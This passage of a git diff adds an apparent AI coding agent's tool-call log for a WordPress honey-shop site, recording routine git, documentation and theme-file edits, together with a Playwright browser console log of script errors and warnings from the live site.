code/projekty/krolewskie-miody.pl/wp-content/themes\"/*; do\\n if [ -d \"$theme\" ]; then\\n themename=$(basename \"$theme\")\\n stylefile=\"$theme/style.css\"\\","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:36:47Z","tool":"Bash","cmd":"mkdir -p \"C:/visual studio code/projekty/krolewskie-miody.pl/.paul/codebase\"\",\"description\":\"Create .paul/codebase directory\"},\"tool_response\":{\"stdout\":\"\",\"stderr\":\"\",\"interrupted\"","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:37:13Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\codebase\\\\stack.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:37:43Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\codebase\\\\architecture.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:38:06Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\codebase\\\\conventions.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:38:16Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\codebase\\\\testing.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:38:51Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\codebase\\\\integrations.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:39:05Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\codebase\\\\db_schema.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:39:49Z","tool":"Write","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\codebase\\\\concerns.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:40:03Z","tool":"Bash","cmd":"cd \"C:/visual studio code/projekty/krolewskie-miody.pl\" && git add .paul/codebase/ && git status\",\"description\":\"Stage codebase docs for commit\"},\"tool_response\":{\"stdout\":\"warning: in the","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:40:11Z","tool":"Bash","cmd":"cd \"C:/visual studio code/projekty/krolewskie-miody.pl\" && git commit -m \"$(cat <<'EOF'\\ndocs: add .paul/codebase/ codebase map (7 documents)\\n\\nStack, architecture, conventions, testing, integr","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:47:38Z","tool":"Bash","cmd":"wc -l \"C:/visual studio code/projekty/krolewskie-miody.pl/wp-content/themes/betheme/functions.php\"\",\"description\":\"Check line count of betheme functions.php\"},\"tool_response\":{\"stdout\":\"30","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:47:49Z","tool":"Edit","file":"C:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\wp-content\\\\themes\\\\betheme\\\\functions.php","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:55:35Z","tool":"Bash","cmd":"git diff wp-content/themes/betheme/functions.php | head -200\",\"description\":\"Show diff of modified functions.php\"},\"tool_response\":{\"stdout\":\"\",\"stderr\":\"\",\"interrupted\":false,\"isIma","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:56:48Z","tool":"Edit","file":"c:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\wp-content\\\\themes\\\\betheme\\\\functions.php","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:57:04Z","tool":"Edit","file":"c:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\wp-content\\\\themes\\\\betheme\\\\functions.php","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:58:49Z","tool":"Edit","file":"c:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\wp-content\\\\themes\\\\betheme\\\\functions.php","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T19:58:58Z","tool":"Edit","file":"c:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\wp-content\\\\themes\\\\betheme\\\\functions.php","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T20:00:25Z","tool":"Edit","file":"c:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\wp-content\\\\themes\\\\betheme\\\\functions.php","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T20:04:16Z","tool":"Edit","file":"c:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\wp-content\\\\themes\\\\betheme\\\\footer.php","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T20:05:40Z","tool":"Bash","cmd":"git log --all --oneline -- wp-content/themes/betheme/footer.php 2>&1 | head -20\",\"description\":\"Git history of footer.php\"},\"tool_response\":{\"stdout\":\"a95acc355 first commit\",\"stderr\":\"\","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T20:05:45Z","tool":"Bash","cmd":"git show a95acc355:wp-content/themes/betheme/footer.php 2>&1 | sed -n '280,400p'\",\"description\":\"Show original footer.php tail from first commit\"},\"tool_response\":{\"stdout\":\"\","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T20:09:23Z","tool":"Edit","file":"c:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\wp-content\\\\plugins\\\\userfeedback-lite\\\\includes\\\\frontend\\\\class-userfeedback-frontend.php","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T20:10:23Z","tool":"Edit","file":"c:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\wp-content\\\\plugins\\\\userfeedback-lite\\\\includes\\\\frontend\\\\class-userfeedback-frontend.php","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} +{"ts":"2026-04-28T20:21:21Z","tool":"Write","file":"c:\\\\visual studio code\\\\projekty\\\\krolewskie-miody.pl\\\\.paul\\\\codebase\\\\todo.md","cwd":"/c/visual studio code/projekty/krolewskie-miody.pl"} diff --git a/.playwright-mcp/console-2026-04-28T20-17-28-444Z.log b/.playwright-mcp/console-2026-04-28T20-17-28-444Z.log new file mode 100644 index 000000000..69a36cbf6 --- /dev/null +++ b/.playwright-mcp/console-2026-04-28T20-17-28-444Z.log @@ -0,0 +1,133 @@ +[ 1411ms] [LOG] PixelYourSite Free version 11.2.0.4 @ https://krolewskie-miody.pl/:69 +[ 1487ms] [LOG] JQMIGRATE: Migrate is installed, version 3.4.1 @ https://krolewskie-miody.pl/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1:1 +[ 2088ms] ReferenceError: IPPWidgetOptions is not defined + at HTMLDocument. (https://krolewskie-miody.pl/wp-content/plugins/inpost-pay/assets/js/woocommerceizi.js?ver=6272:1:94014) +[ 3075ms] [WARNING] [Meta Pixel] - Duplicate Pixel ID: 307827130850744. @ https://connect.facebook.net/en_US/fbevents.js:181 +[ 3173ms] [ERROR] This document requires 'TrustedHTML' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 3173ms] [ERROR] This document requires 'TrustedHTML' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 3174ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 3174ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 3175ms] [ERROR] This document requires 'TrustedScriptURL' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 3175ms] [ERROR] This document requires 'TrustedScriptURL' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 3288ms] [ERROR] Permissions policy violation: xr-spatial-tracking is not allowed in this document. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 3288ms] [ERROR] Permissions policy violation: xr-spatial-tracking is not allowed in this document. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 3954ms] [ERROR] Permissions policy violation: xr-spatial-tracking is not allowed in this document. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 3954ms] [ERROR] Permissions policy violation: xr-spatial-tracking is not allowed in this document. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 4425ms] [ERROR] Executing inline script violates the following Content Security Policy directive 'script-src 'nonce-d08aXxCQ4MFRuT7fnyvZx1' 'unsafe-eval''. Either the 'unsafe-inline' keyword, a hash ('sha256-eJGI0Ik4oYe/PKLDOt4wcN76wYs8h+Ew05pMzdY6xG8='), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked. @ about:srcdoc:0 +[ 4425ms] [ERROR] Executing inline script violates the following Content Security Policy directive 'script-src 'nonce-d08aXxCQ4MFRuT7fnyvZx1' 'unsafe-eval''. Either the 'unsafe-inline' keyword, a hash ('sha256-eJGI0Ik4oYe/PKLDOt4wcN76wYs8h+Ew05pMzdY6xG8='), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked. @ about:srcdoc:0 +[ 4426ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 4426ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 4436ms] ReferenceError: IPPWidgetOptions is not defined + at https://krolewskie-miody.pl/wp-content/plugins/inpost-pay/assets/js/woocommerceizi.js?ver=6272:1:93624 + at f (https://krolewskie-miody.pl/wp-content/plugins/inpost-pay/assets/js/woocommerceizi.js?ver=6272:1:87312) + at Generator. (https://krolewskie-miody.pl/wp-content/plugins/inpost-pay/assets/js/woocommerceizi.js?ver=6272:1:87085) + at Generator.next (https://krolewskie-miody.pl/wp-content/plugins/inpost-pay/assets/js/woocommerceizi.js?ver=6272:1:87671) + at kt (https://krolewskie-miody.pl/wp-content/plugins/inpost-pay/assets/js/woocommerceizi.js?ver=6272:1:91963) + at a (https://krolewskie-miody.pl/wp-content/plugins/inpost-pay/assets/js/woocommerceizi.js?ver=6272:1:92166) + at https://krolewskie-miody.pl/wp-content/plugins/inpost-pay/assets/js/woocommerceizi.js?ver=6272:1:92227 + at new Promise () + at https://krolewskie-miody.pl/wp-content/plugins/inpost-pay/assets/js/woocommerceizi.js?ver=6272:1:92107 +[ 5009ms] [WARNING] Failed to parse audio contentType: audio/mp4; codecs=ac-3 @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 5010ms] [WARNING] Failed to parse audio contentType: audio/mp4; codecs=ec-3 @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 5014ms] [WARNING] Invalid (ambiguous) video codec string: video/webm; codecs=vp9 @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 5015ms] [WARNING] Failed to parse video contentType: video/ogg; codecs=theora @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6197ms] [LOG] The next request for the Private Access Token challenge may return a 401 and show a warning in console. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6452ms] [ERROR] Failed to load resource: the server responded with a status of 401 () @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/9f38c037cc00467c/1777407451367/1802bfb1244e5d770d6f4fd050e28008a9cbdd196bc8857fdb77340f30be601c/_9k6uXrAwYXn2CW:0 +[ 6563ms] [WARNING] Form submission canceled because the form is not connected @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6606ms] [LOG] /.*.*=.*/ @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6606ms] [LOG] /.*.*=.*/ @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6607ms] [LOG] function () { [native code] } @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6607ms] [LOG] function () { [native code] } @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6607ms] [LOG] JSHandle@node @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6608ms] [LOG] JSHandle@node @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6608ms] [COUNT] : 1 @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6608ms] [COUNT] : 1 @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6610ms] [DIR] Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6611ms] [DIR] Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6611ms] [DIRXML] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6611ms] [DIRXML] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6612ms] [ERROR] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6612ms] [ERROR] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6613ms] [INFO] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6613ms] [INFO] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6614ms] [LOG] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6614ms] [LOG] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6614ms] [TABLE] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6615ms] [TABLE] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6617ms] [WARNING] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6617ms] [WARNING] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6659ms] [ERROR] Permissions policy violation: xr-spatial-tracking is not allowed in this document. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 6659ms] [ERROR] Permissions policy violation: xr-spatial-tracking is not allowed in this document. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7121ms] [WARNING] Form submission canceled because the form is not connected @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7142ms] [LOG] /.*.*=.*/ @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7142ms] [LOG] /.*.*=.*/ @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7142ms] [LOG] function () { [native code] } @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7142ms] [LOG] function () { [native code] } @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7143ms] [LOG] JSHandle@node @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7143ms] [LOG] JSHandle@node @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7143ms] [COUNT] : 1 @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7144ms] [COUNT] : 1 @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7145ms] [DIR] Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7145ms] [DIR] Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7145ms] [DIRXML] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7146ms] [DIRXML] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7146ms] [ERROR] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7146ms] [ERROR] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7147ms] [INFO] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7147ms] [INFO] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7147ms] [LOG] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7148ms] [LOG] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7148ms] [TABLE] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7148ms] [TABLE] %c%d font-size:0;color:transparent Error @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7156ms] [WARNING] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7156ms] [WARNING] %c%d font-size:0;color:transparent NaN @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7213ms] [LOG] The next request for the Private Access Token challenge may return a 401 and show a warning in console. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/o4r5g/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 7332ms] [ERROR] Failed to load resource: the server responded with a status of 401 () @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/9f38c037cc05467c/1777407451311/9f331a5bef796d6243e5ce80818693a343c09f7aff6a0376810fc5f90caefde5/eDDB7yRi2IE0eNl:0 +[ 8288ms] [LOG] The next request for the Private Access Token challenge may return a 401 and show a warning in console. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8351ms] [ERROR] Failed to load resource: the server responded with a status of 401 () @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/9f38c037cbfd467c/1777407451279/db2e88210579a2d854d7e1e8b7835dbfa753670524477364803da85534f4f554/oZFjSYhkq6YvEWY:0 +[ 8428ms] [WARNING] Form submission canceled because the form is not connected @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/f71bv/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8469ms] [ERROR] This document requires 'TrustedHTML' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8469ms] [ERROR] This document requires 'TrustedHTML' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8470ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8470ms] [ERROR] This document requires 'TrustedScript' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8470ms] [ERROR] This document requires 'TrustedScriptURL' assignment. The action has been blocked. @ https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/f/ov2/av0/rch/bgkeq/0x4AAAAAAA4r06g2dN1jf0fe/light/fbE/new/normal?lang=auto:0 +[ 8470ms] [ERROR] This document requires 'TrustedScriptURL' assignment. The action has been blocked. @ 